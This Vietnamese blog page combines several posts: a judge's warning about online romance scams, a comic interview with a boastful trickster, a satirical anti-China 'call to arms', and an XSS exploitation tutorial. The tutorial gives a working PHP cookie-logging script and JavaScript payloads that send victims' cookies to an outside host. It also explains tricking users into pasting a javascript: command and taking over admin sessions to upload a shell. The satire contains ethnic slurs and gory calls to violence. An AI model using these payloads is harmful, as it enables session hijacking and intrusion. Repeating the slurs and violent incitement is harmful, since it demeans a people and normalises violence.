Bà Dương Thị Thu Hà, phó chánh án TAND TP Cần Thơ, nói: “Trong những vụ án lừa đảo chiếm đoạt tài sản mà tôi xét xử, đa số đối tượng phạm pháp thường dùng công thức na ná nhau: nói mình có công việc rất xịn, đan xen với những lời tán tỉnh êm như ru là thăm dò xem đối tượng như thế nào. Rồi cuối cùng đưa ra lý do rất hợp tình hợp lý để gạt lấy tiền bạc hoặc đồ vật có giá trị… Vì vậy trước khi quyết định chuyện hệ trọng, phải biết rõ thân thế, chỗ ở, nơi làm việc cũng như phải giao tiếp qua thực tế một thời gian chứ đừng cả tin lời nói của họ qua email, chat như vậy”.

Gặp truyền nhân của tổ sư “chém gió”


– Thưa anh, có tin đồn anh làm rất nhiều nghề, vậy thì nghề chính của anh là gì?
– Nói theo ngôn ngữ của dân “chém gió” thì tôi là “thợ tiện”, tức là tiện nghề nào làm nghề đó.
– Nghề đầu tiên của anh là gì?
– Hồi tôi còn nhỏ, cha tôi không đồng ý với dự định trở thành hoạ sĩ của tôi, ông muốn con trai theo nghề thợ mộc. Còn bà mẹ tôi thì cố công hoà giải hai bên. Một hôm bà nói: “Con trai, con muốn theo nghề hoạ sĩ, bố muốn con làm nghề mộc. Vậy tại sao con không theo mỗi nghề một nửa?”. Thế là tôi trở thành thợ đóng khung tranh!
– Còn bây giờ?
– Tôi bán hàng, cho thuê nhà nghỉ, chạy xe ôm và bơm vá sửa chữa… đĩa bay.
– Có người nói anh bán cho ông ta con chó và khen nó không ngớt lời. Thế mà tối qua kẻ trộm vào nhà ông ấy khua khoắng hết 300 đô, nó chẳng sủa lấy một tiếng?
– Người chủ trước của con chó này vốn là một tỉ phú, nên với số tiền ít ỏi như thế nó rất xem thường.
– Những mặt hàng khác thì sao?
– Hàng nào cũng tuyệt. Ví dụ món thuốc mọc tóc này.
– Thuốc này hiệu nghiệm không?
– Hiệu nghiệm lắm anh ạ! Đây, tôi chứng minh cho anh thấy. Sáng nay tôi nhỏ vài giọt lên tóc sau đó lấy lược chải. Bây giờ anh nhìn thấy đấy, cây lược đã biến thành bàn chải rồi!
– Lần trước hàng xóm nhà tôi phàn nàn anh bán cho bà ấy thứ thuốc diệt chuột gì mà chẳng hề hiệu nghiệm. Chuột trong nhà ăn xong không chết, lại ngày càng béo tốt hơn.
– Đúng đấy! Bà ấy cứ tiếp tục mua thuốc này về để bẫy chuột, chúng sẽ mập đến nỗi không chui vào hang được nữa. Thế nào chúng cũng bị mèo xơi sạch.
– Quảng cáo là công cụ hữu hiệu trong kinh doanh, nhưng hình như quảng cáo của anh bịa đặt trắng trợn: Chỉ 5 phút đi từ nhà nghỉ đến nhà chờ xe bus. Vậy mà sáng nay có người đã phải đi bộ gần một tiếng mới tới nơi.
– Tôi luôn quảng cáo đúng sự thật! Đó là giờ đi bằng xe hơi ạ!
– Trong nhà anh có ai “khoác lác” hơn cả anh không?
– Cô vợ tôi, hồi đi buôn lậu trên biên giới về tôi thấy trong nhà có đứa trẻ. Tôi hỏi cô ta: Đứa trẻ nào đây? Anh vắng nhà suốt một năm kia mà?
– Cô ấy nói sao?
– Cô ta nói ngay: “Thế hồi đó anh chẳng gửi ảnh về nhà là gì, nhớ không?”. Thế đấy, nhưng mà tấm ảnh đó tôi chụp có một nửa người trên nên cô ta cứng họng. Tuy nhiên cô ta đã khiến tôi không li dị được vì luôn nói rằng phải nghĩ đến những đứa con của chúng tôi trước đây.
– Đó là mánh quen thuộc của phụ nữ khi không muốn chia tay mà?
– Vấn đề là sau này tôi mới nhớ là trước đó chúng tôi chưa có đứa con nào, chỉ nuôi con chó nhỏ này.
– Con chó thật xinh xắn.
– Thông minh nữa.
– Con chó nhà tôi cũng thông minh, mỗi khi đi chơi về nó luôn biết nhấn chuông gọi cửa. Con chó của anh có thể làm được như vậy không?
– Bằng thừa! Chó nhà tôi luôn có chìa khoá và nó tự mở lấy!
– Anh “chém gió” quả là thiên tài. Hình như chó nhà anh còn biết chơi cờ vua nữa? Khéo nó thông minh bằng anh?
– Thông minh bằng tôi làm sao được, chơi với tôi 5 ván thì nó thua tới 3 ván.

Lời kêu gọi toàn quốc chém gió


Hỡi đồng bào toàn quốc!
Hỡi những con người Việt Nam yêu nước!
Hỡi những chuyên gia chém gió!
Hỡi những ai là con cháu của dòng giống Lạc Hồng!

Chúng ta muốn hoà bình, chúng ta phải nhân nhượng. Nhưng chúng ta càng nhân nhượng, lũ Tàu cựa càng làm tới, vì chúng quyết tâm cướp Hoàng Sa rồi Trường Sa và cả đất nước chúng ta!
Không! Chúng ta quyết một ăn hai thua, nếu lũ Tàu là người thì nên dứng đó, nếu chúng là chó, thì chúng sẽ chịu khó nhào vô la liếm, chứ nhất định không chịu mất nước, nhất định không chịu làm nô lệ.
Hỡi những chuyên gia chém gió!
Chúng ta phải đứng lên!
Bất kì trai hay gái hay gay hay les, bất kì người già trẻ lớn bé, từ bà già chống gậy baton, đến những thằng nhóc tì lon ton trên phố, đến những thằng đàn bà cố tập dưỡng sinh, đến những người bị HIV đinh ninh mình vẫn sẽ sống, đến những bác kĩ sư chết cóng ở Siberi, đến những vị sư từ bi nơi cửa Phật. Hễ là người Việt Nam thì phải đứng lên chém gió để cho lũ Tàu khựa hoảng hồn kinh vía mà bỏ chạy. Hoàng Sa là của Việt Nam, Trường Sa cũng là của Việt Nam. Trung quốc không có quyền đóng lô cốt, xây sân bay, cướp tàu, đuổi dân Việt ra khỏi Hoàng Sa, điều đó là sự thật. Xăng có thể cạn, lốp có thể mòn, nhưng số máy số khung không bao giờ thay đổi.
Ai có súng dùng súng. Ai có gươm dùng gươm, ai có AK dùng AK, không có AK thì dùng mã tấu. Nếu có gì thì cứ việc phang cái đấy. Cổ nhân ta nói: "Đánh chó phải ngó mặt chủ". Nhưng với tình hình này, Tàu đang có âm mưu lăm le đất nước Việt Nam xinh đẹp, yêu hòa bình, lâu lâu lại có cảnh đánh nhau như phim, những hình ảnh tình tứ, lãng mạn dưới gầm cầu, công viên và những pha hành động gay cấn quay lưng vào vách tường và xuất hiện những dòng nước chảy xuống. Nhưng chúng ta vẫn là người yêu nước. Chúng đa đã có danh hiệu: "Người Việt Nam, người nhỏ, gan to, cục sỉ bự". Đúng vậy, chúng ta tuy nhỏ nhưng chúng ta có võ. Điều đó luôn luôn đúng. Chúng ta đã chiến thắng được TQ, Pháp, Mĩ một cách vẻ vang. Sao chúng ta không làm nên một điều kì diệu mới??? Hãy đánh tan âm mưu xâm lược của lũ Tông Cựa
Hỡi anh em binh sĩ, tự vệ, dân quân, truyền nhân của những Trùm Chém Gió!
Giờ cứu nước đã đến. Ta phải tiến lên, lấy huyết bọn chúng làm tiết canh, và la liếm như kiểu "Thơm ngon đến giọt cuối cùng" của Chinsu. Hãy tiêu diệt chúng, cắt thằng lính của nó ngâm rượu và đặt tên rượu là "Lượt Diên Tửu" (Liệt Dương Tửu")
Dù phải gian lao kháng chiến, nhưng với một lòng kiên quyết hy sinh, thắng lợi nhất định về dân tộc ta!
Việt Nam độc lập và thống nhất muôn năm! Kháng chiến thắng lợi muôn năm!

♪ Không có việc gì khó ♪
♪ Chỉ sợ tiền không nhiều ♪
♪ Đào núi và lấp biển ♪
♪ Không làm được thì thôi ♪

Nguồn : http://nghiainfo.blogspot.com/2011/08/loi-keu-goi-toan-quoc-chem-gio.html

Khai thác lỗi xss thế nào?


Lỗi xss là lỗi cho phép thực thi trái phép script trái phép trên client người dùng có thể tham khảo thêm tại đây Cross Site Scripting

thường thì trước kìa tại hạ quậy phá cho phép thực thi câu lệnh

<script>

window.location=’”http:///xxxx.yyy”;

</script>

Trong đó http:///xxxx.yyy là 1 trang tươi mát nào đó Winking smile mục đích là cho admin giải trí trong những lúc mệt mỏi Open-mouthed smile

Bây giờ gặp site lổi tại hạ không dại gì làm thế nữa, vì làm thế chả làm được gì mà còn giúp nó fix bug nè, rồi giúp nó biết thêm mấy trang tươi mát của mềnh nữa Smile

Khi gặp site lỗi xss vấn đề bây giờ là lấy cookie của admin Smile, sau đó đăng nhập với vai trò là admin rồi thích làm gì thì làm :”>

để test site có lấy được cookie toàn vẹn hay không chúng ta thử test bằng cách gõ vào address câu lệnh đơn giản như sau :

javascript:alert(document.cookie);

Ví dụ mình lấy trang http://thamhue.com/forum.php chúng ta đăng nhập vào và dùng firebug để xem cookie như hình

image

chúng ta thực hiện câu lệnh trên và so sánh cookie của firebug

image

Hey ya, nó khác rồi, không khai thác được, nếu nó lỗi xss thì cho nó về trang tươi mát cho bỏ tức Sad smile

Chúng ta tìm site khác. giả sử có 1 site mô đó lỗi xss và lấy được cooki, chúng ta sẽ viết 1 script cho return về trang của mình để lưu cookie xong rồi return nó về trang nào đó tùy mình, mục đích là lấy được cooki thôi mà Sad smile

Giả sử mình có một host free php đi, chúng ta vào tạo 1 file có tên là cc.php và 1 file text có tên là cookie.txt

file cc.php

<?php
$myFile = "cookie.txt";
$fh = fopen($myFile, ‘a+’);
$bien=$_REQUEST[‘cc’].":".$_REQUEST[‘url’]."\n";
fwrite($fh,$bien);
fclose($fh);
echo("<script>window.location=’".$_REQUEST[‘url’]."’;</script>");
?>

file cooki.txt để trống và checkmod cho phép đọc&ghi Sad smile

ví dụ tại hạ đã làm và đã upload lên file có địa chỉ

http://vitinh2nd.com/cc.php

http://vitinh2nd.com/cookie.txt

Khi gặp site http://xyz.xxx lỗi xss ta tìm viết đoạn script sau :

<script>

window.location=”http://vitinh2nd.com/cc.php?cc=”+document.cookie+”&url=http://xyz.xxx”;

</script>

Giải thích : khi admin vào và thực thi script này thì sẽ chạy đến trang của mềnh rồi save cooki vào file cookie.txt rồi return lại trang gốc, mục đích lưu url để biết domain nào mà khai thác, thứ hai là để thằng admin nào đó gà nó tưởng site bị lỗi gì :”>

Vậy là xong, vậy sau khi lấy được cooki mình làm thế nào để đăng nhập :”>

các bạn có thể dùng addon Cookie Manager của Firefox để edit và thêm các trường của cooki sau đó F5 rồi đăng nhập Smile như hình

image

 

Kết luận : có phải xss là cách duy nhất để lấy cookie? cũng có nhiều cách ví dụ như những các sau:

ví dụ vào một trang mà có editor có cho phép sửa mã html các bạn có thể viết 1 bài dài ca ngợi linh tinh gì đó rồi chèn vào cái link dạng như vào đây xem tiếp

<a href=”#” onclick=”javascript:window.location=’http://vitinh2nd.com/cc.php?cc=’+document.cookie+’&url=http://xyz.xxx’;” >Click vào đây để xem chi tiết</a>

Nó click vào thì thực hiện câu lệnh trên Smile

Cách thứ hai dùng kỹ thuật chém gió lừa tình Smile cách này hay có thể xem tuyệt kỹ chém gió tại bài : https://tranphuochung.wordpress.com/2011/07/21/chem-gio-la-gi/

Dụ victim cái này phải chém cho hay : ví dụ như anh/chị gõ lệnh này trên trình duyệt

javascript:window.location=”http://vitinh2nd.com/cc.php?cc=”+document.cookie+”&url=http://xyz.xxx”;

sẽ hack được tiền hay đại loại để xem lỗi hay gì gì thế tùy vào người hót Smile

vậy lỗi xss này có thể khai thác bằng cách đăng nhập vào admin sau đó up shell lên sever rồi lấy dữ liệu của victim Smile

Cách khắc phục thì mấy bác có thể search google, trình độ em chỉ biết có thế có gì sai mấy bác đừng có chém em mà tội Sad smile

Triệu chứng chém gió (video)


Triệu chứng chém gió 1
Triệu chứng chém gió 2

Chúc vui vẻ SmileBe right back